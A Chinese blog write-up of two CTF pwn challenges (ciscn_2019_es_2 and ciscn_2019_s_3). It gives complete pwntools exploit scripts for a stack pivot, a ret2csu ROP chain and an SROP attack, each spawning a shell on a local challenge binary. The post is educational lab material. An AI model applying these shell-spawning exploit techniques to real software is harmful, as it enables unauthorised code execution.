这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意

ciscn_2019_es_2

这题是栈迁移的题,先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 leave_ret=0x08048562
6 sys = 0x8048400
7 p=process('./ciscn_2019_es_2')
8 p.recvuntil('What\'s your name?')
9 p.send(0x20*'a'+'b'*8)
10 p.recvuntil('bbbbbbbb')
11 ebp_addr=u32(p.recv(4).ljust(4,'\x00'))
12 print('ebp_addr:',hex(ebp_addr))
13 s_addr=ebp_addr-0x38 # 这个ebp指向的地址是ebp+0x10的位置,然后再减去0x28个(s占的位)
14
15 # 这个payload2要反着拼
16 # s_addr是输入字符串地址,即设置第一次leave的ebp
17 # 第二次leave的ebp地址是aaaa,pop ebp后返回到sys执行shell
18 payload2='a'*4+p32(sys)+p32(0)+p32(ebp_addr-0x28)+"/bin/sh"
19 payload2=payload2.ljust(0x28,'\x00')
20 payload2+=p32(s_addr)+p32(leave_ret)
21
22 p.send(payload2)23 p.interactive()

程序有两次输入点,但是只有0x30个输入,s字符串有0x28个栈地址,所以如果覆盖也只能覆盖ebp和ret地址,无法做到直接getshell

所以第一次输入时先把s栈盖满,泄露出ebp的值

这里要注意,你取到的值是ebp的值,而不是栈的值,而ebp的值等于ebp栈+0x10的栈值(这里坑了我半天),画个图就是:

    0xffff00ff   |    bbbb

ebp   0xffff0100 |  0xffff0010

      .   |  .

    .   |  .

    .   |  .

    0xffff0110 |  xxxxxxxxx

然后下面这个栈迁移的payload已经说的比较清楚了,主要在于两次leave;ret;或者说mov esp,ebp;  pop ebp;  ret;

这块动调一下就明白了,不过如果正向去拼的话要有从后往前拼payload的思想,不然就是一脸懵逼

最后总结:此方法虽然懂了,但是payload不太好想得到,在遇到此类题再练习吧

ciscn_2019_s_3

两种解法,都值得学习

解法一:利用通用csu

第一次遇到csu_rop,调试了半天还是挺费劲的,老规矩先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7
8 # 解法一:利用通用csu
9 main_addr=elf.symbols['main']
10 rax_59=0x04004E2 # mov rax, 3Bh (10进制59)
11 pop_rdi=0x4005a3
12
13 p.sendline('/bin/sh\x00'*2+p64(main_addr)) # 0x10个字节
14 # /bin/sh 地址 0x7ffe6dc4e990
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 print('stack_addr',hex(stack_addr))# 0x7ffe6dc4eaa8
18 # 差值 0x138 因为返回的地址是main,main中做了栈帧
19 bash_addr=stack_addr-0x138 #找第二次的输入是0x138
20 print('bash_addr',hex(bash_addr))
21
22 # get_shell
23 pop_rbx_rbp_r12_r13_r14_r15=0x40059A
24 mov_rdx_r13=0x0400580
25 syscall=0x0400517
26 #   $rax==59
27 #   $rdi==“/bin/sh”
28 #   $rsi==0
29 #   $rdx==0
30 #   syscall
31
32
33 payload2 = '/bin/sh\x00'+'A'*0x8+p64(rax_59)# rax设置为59
34 # 设置各种寄存器,其中r12要注意,因为下面进行的是call r12+0,为了方便就call rax_59,这样就能巧妙的回来了
35 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(bash_addr+0x10)+p64(0)*3 #这里要注意rbx和rbp
36 # 设置rsi和rdx为0
37 payload2 += p64(mov_rdx_r13)
38 # cmp rbx,rbp 后jnz必须不能被触发,所以又进行了pop_rbx_rbp_r12_r13_r14_r15
39 payload2 += 'a'*0x38 # 7*8=56 6个寄存器,和一个add rsp,8(栈增加了8个) 被填充
40 #设置rdi为/bin/sh
41 payload2 += p64(pop_rdi) + p64(bash_addr)
42 # 触发系统调用
43 payload2 +=p64(syscall)
44
45 p.sendline(payload2)
46 p.interactive()

还是先泄露栈地址,这里有个巨大的深坑!!!你如果返回地址填main就是相差0x138,如果你返回vuln就是0x118,这也是各位大佬payload不同的主要地方

然后就是构造csu_rop的过程了,建议大家边动调边看解释

首先是返回到rax设置为59的位置(这里如果你返回别的,后面的构造会难受),然后pop各种寄存器,就是去初始化各种寄存器

这里也要注意r12的值,因为在csu开头会call [r12](后面那个寄存器被你置零,所以没偏移了),但r12跳转到哪比较好呢?按理说只要ret就行,但是这样各个寄存器的值无法保证不改变,尤其是rax

所以这里巧妙的去call输入地址加0x10的位置,就是你先设置的rax_59

然后再说一下rbx和rbp,必须设置为0和1,顺序不能变。这是因为在后面跳出时要比较他俩,而比较前rbx会加1,这样相等才能跳出循环

0x38个‘a’就是在跳出循环后,其实又一次进行了pop_rbx_rbp_r12_r13_r14_r15和一个add rsp,8; 这样必须把他们覆盖掉,也就是8*7=56个地址

好了,终于把所有的坑排清了,最后就比较简单了,设置rdi为/bin/sh,并触发系统调用

总结:csu虽然说比较通用,但是真的麻烦啊,而且得在前面考虑后面,明显不符合人类思维,难受的一批,但是作为学习此方式的途径也是收获很多

解法二:SROP

参考链接:https://www.freebuf.com/articles/network/87447.html

总体思路就是

# SROP: Sigreturn Oriented Programming ,系统Signal Dispatch之前会将所有寄存器压入栈,
# 然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。
# 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7 context.arch = elf.arch #必要,指定cpu架构
8
9 rt_sigreturn=0x4004DA
10 syscall=0x0400517
11 vuln_addr=0x4004ED
12
13 payload="/bin/sh\x00"+'a'*8+p64(vuln_addr)
14 p.send(payload)
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 #由于这次返回的是vuln,所以是0x118
18 bash_addr=stack_addr-0x118
19 print("stack_addr:",stack_addr)
20 print("bash_addr:",bash_addr)
21
22 # 设置sigframe关键寄存器
23 sigframe = SigreturnFrame()
24 sigframe.rax = constants.SYS_execve # 59
25 sigframe.rdi = bash_addr
26 sigframe.rsi = 0
27 sigframe.rdx = 0
28 sigframe.rip = syscall
29
30 print('sigframe.rax:',sigframe.rax)
31 # syscall调用rt_sigreturn
32 payload = "/bin/sh\x00/bin/sh\x00" + p64(rt_sigreturn)+p64(syscall)
33 # 设置sigframe返回地址值和各种寄存器
34 payload += str(sigframe)
35
36 p.sendline(payload)
37 p.interactive()

如果大家接触过pushad或pushfd的命令程序应该比较熟悉这种形式

相当于是把寄存器拉到了栈上,而程序如果存在栈溢出,就可以去调用rt_sigreturn这个函数,而这个函数可以随意更改其内寄存器,把寄存器精心构造的话就实现了getshell

pwntools提供了SigreturnFrame(),直接进行结构体的设置为getshell模式

这里也可以看一下constants.SYS_execve,在此架构下就是59

payload就是先同系统调用触发rt_sigreturn,在后面的栈上设置getshell参数和返回地址(当然这里没有设置,因为不需要继续rop下去了)

总结:SROP做着题就很简单了,但是前提得知道,读过论文,学习姿势+1

记两道最近做的pwn题(ciscn_2019)的更多相关文章

  1. 与高精死杠的几天——记两道简单的高精dp

    (同样也是noip往年的题 1​.矩阵取数游戏 题目链接[Luogu P1005 矩阵取数游戏] \(\mathcal{SOLUTION}:\) 通过对题目条件的分析,我们可以发现,每一行取数对答案的 ...

  2. 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester

    这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...

  3. FJOI2020 的两道组合计数题

    最近细品了 FJOI2020 的两道计数题,感觉抛开数据范围不清还卡常不谈里面的组合计数技巧还是挺不错的.由于这两道题都基于卡特兰数的拓展,所以我们把它们一并研究掉. 首先是 D1T3 ,先给出简要题 ...

  4. 两道人数多,课程少,query多的题

    #每天进步一点点# 来两道很相似的题目~ (智商啊智商.....) hihoCoder #1236:Scores (简单的分桶法+bitset) 2015 Beijing Online的最后一题.题目 ...

  5. ACM/ICPC 之 两道dijkstra练习题(ZOJ1053(POJ1122)-ZOJ1053)

    两道较为典型的单源最短路径问题,采用dijkstra解法 本来是四道练习题,后来发现后面两道用dijkstra来解的话总觉得有点冗余了,因此暂且分成三篇博客(本篇以及后两篇). ZOJ1053(POJ ...

  6. 50道经典的JAVA编程题(41-45)

    50道经典的JAVA编程题(41-45),苦逼的程序猿,晚上睡不着了编程吧~今天坚持做10道题!发现编程能是我快乐...O(∩_∩)O哈哈~能平静我烦乱的心,剩下5道题留到考试完了再做吧!该睡觉了.. ...

  7. 50道经典的JAVA编程题(36-40)

    50道经典的JAVA编程题(36-40),今天晚上心情压抑,不爽,继续做题,管它明天考试,我继续我的java,一个周末都在看微机原理看得的很头疼啊~明天该挂科就挂吧,不在乎了~~~ [程序36] Ar ...

  8. 50道经典的JAVA编程题(21-25)

    50道经典的JAVA编程题(21-25),明天早上java考试了,还是坚持做题吧...这题比老师的题好多了! [程序21]TestJieCheng.java题目:求1+2!+3!+...+20!的和1 ...

  9. 50道经典的JAVA编程题 (16-20)

    50道经典的JAVA编程题 (16-20),用了快一个下午来做这10道题了,整理博客的时间貌似大于编程的时间啊..哈哈 [程序16]Nine.java 题目:输出9*9口诀. 1.程序分析:分行与列考 ...

随机推荐

  1. Sql server 多列去重复值,相同的只显示一条数据

    CREATE TABLE #tp( headerNo VARCHAR(10), machineNO VARCHAR(10), descrption nVARCHAR(20), artNo VARCHA ...

  2. AI算子列表

    AI算子列表 概述 目前只有部分算子可在一个库中同时运行在MLU220和MLU270平台.也就是用户使用 ./build_cnplugin.sh --mlu270 命令编译生成的 libcnplugi ...

  3. OFRecord 数据格式

    OFRecord 数据格式 深度学习应用需要复杂的多阶段数据预处理流水线,数据加载是流水线的第一步,OneFlow 支持多种格式数据的加载,其中 OFRecord 格式是 OneFlow 原生的数据格 ...

  4. CodeGen编写自定义表达式标记

    CodeGen编写自定义表达式标记 CodeGen支持开发人员通过编写plug-in modules插件模块来定义自定义表达式标记的能力,以提供与这些标记相关联的逻辑.这种plug-in module ...

  5. 使用multus实现管理网和业务网分离——calico和flannel共存

    多个网络层面的需求 一开始为k8s集群搭建了calico网络,所有的容器都用calico对应的网卡进行通信.为了实现网络监控的清爽,想把管理组件,例如日志.统计.监控等组件挪到另外一个网络.于是产生一 ...

  6. windows 下安装Charles,破解,安装证书,设置可抓取https包

    参考地址: https://www.zzzmode.com/mytools/charles/ 一.下载后进行安装  二.安装后进行破解 按照参考中的链接破解即可 三.Charles在windows证书 ...

  7. 【NX二次开发】Block UI RGB颜色选择器

    属性说明 常规         类型 描述     BlockID     String 控件ID     Enable     Logical 是否可操作     Group     Logical ...

  8. Visual Studio 2019本地不能运行Azure Functions

    最近一个项目,需要维护同事写得代码,主要是一堆基于 .net core 3.1 的 Azure Functions.想起2年前第一次接触 Azure Functions(那次是基于.net frame ...

  9. Reactive Spring实战 -- 响应式Kafka交互

    本文分享如何使用KRaft部署Kafka集群,以及Spring中如何实现Kafka响应式交互. KRaft 我们知道,Kafka使用Zookeeper负责为kafka存储broker,Consumer ...

  10. 2021Qt打包发布教程

    因为最近写了一个程序,然后想着能给室友玩耍,就研究了一下如何打包,写这篇博客记录一下 1. 首先获得程序的Release版本 就是点击这个Release,然后构建一遍 2. 进入构建的release文 ...